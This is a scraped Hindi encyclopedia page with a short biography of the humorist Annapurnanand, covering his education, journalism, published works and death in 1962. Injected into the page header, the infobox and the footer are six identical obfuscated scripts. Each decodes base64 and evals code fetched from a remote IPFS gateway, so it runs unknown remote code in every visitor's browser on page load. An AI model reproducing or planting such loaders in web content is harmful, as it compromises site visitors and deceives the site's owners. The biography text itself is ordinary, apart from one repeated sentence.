अन्नपूर्णानंद
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
चित्र:Tranfer-icon.png | यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
अन्नपूर्णानंद
| |
पुस्तक नाम | हिन्दी विश्वकोश खण्ड 1 |
पृष्ठ संख्या | 130 |
भाषा | हिन्दी देवनागरी |
संपादक | सुधाकर पाण्डेय |
प्रकाशक | नागरी प्रचारणी सभा वाराणसी |
मुद्रक | नागरी मुद्रण वाराणसी |
संस्करण | सन् 1973 ईसवी |
उपलब्ध | भारतडिस्कवरी पुस्तकालय |
कॉपीराइट सूचना | नागरी प्रचारणी सभा वाराणसी |
लेख सम्पादक | सदगोपाल। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
अन्नपूर्णानंद जन्म 21 सितंबर, 1895 ई.। हिंदी में शिष्ट और श्लील हास्य के लेखक। आपकी पढ़ाई गाजीपुर, उत्तर प्रदेश, के एक छोटे स्कूल से आरंभ हुई और लखनऊ के कैनिंग कालेज में बी.एस-सी. तक आपने शिक्षा ग्रहण की। पंडित मोतीलाल नेहरू के पत्र 'इंडिपेंडेंट' में कुछ समय श्री श्रीप्रकाश के साथ काम किया। 22 वर्ष की वय में साहित्य के क्षेत्र में आए, प्रसिद्ध हास्यपत्र 'मतवाला' में पहला निबंध प्रकाशित हुआ-'खोपड़ी'। इन्होंने हिंदी के शिष्ट हास्य रस के साहित्य को ऊँचा उठाया। इनपर उडहाउस आदि का काफी प्रभाव था। लिखते बहुत कम थे पर जो कुछ लिखा वह समाज के प्रति मीठी चुटकियाँ लिए हुए कुरीतियों को दूर करने के लिए और किसी के प्रति मीठी चुटकियाँ लिए हुए कुरीतियों को दूर करने के लिए और किसी के प्रति द्वेष या मत्सर न रखकर समाज को जगाने के लिए। उनका हास्य कोरे विदूषकत्व से भिन्न कोटि का था।
वह काफी दिनों तक राष्ट्रकर्मी दानवीर श्री शिवप्रसाद गुप्त के सचिव भी रहे। विख्यात मनीषी तथा राजनेता डा. संपूर्णानंद के आप छोटे भाई थे। आपकी निम्नलिखित छह रचनाएँ पुस्तकाकार प्रकाशित हो चुकी हैं-मेरी हजामत, मगन रहु चोला, मंगल मोद, महकवि चच्चा, मन मयूर तथा मिसिर जी। आपका निधन जयपुर में 4 दिसंबर, 1962 को 67 वर्ष की आयु में हुआ।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ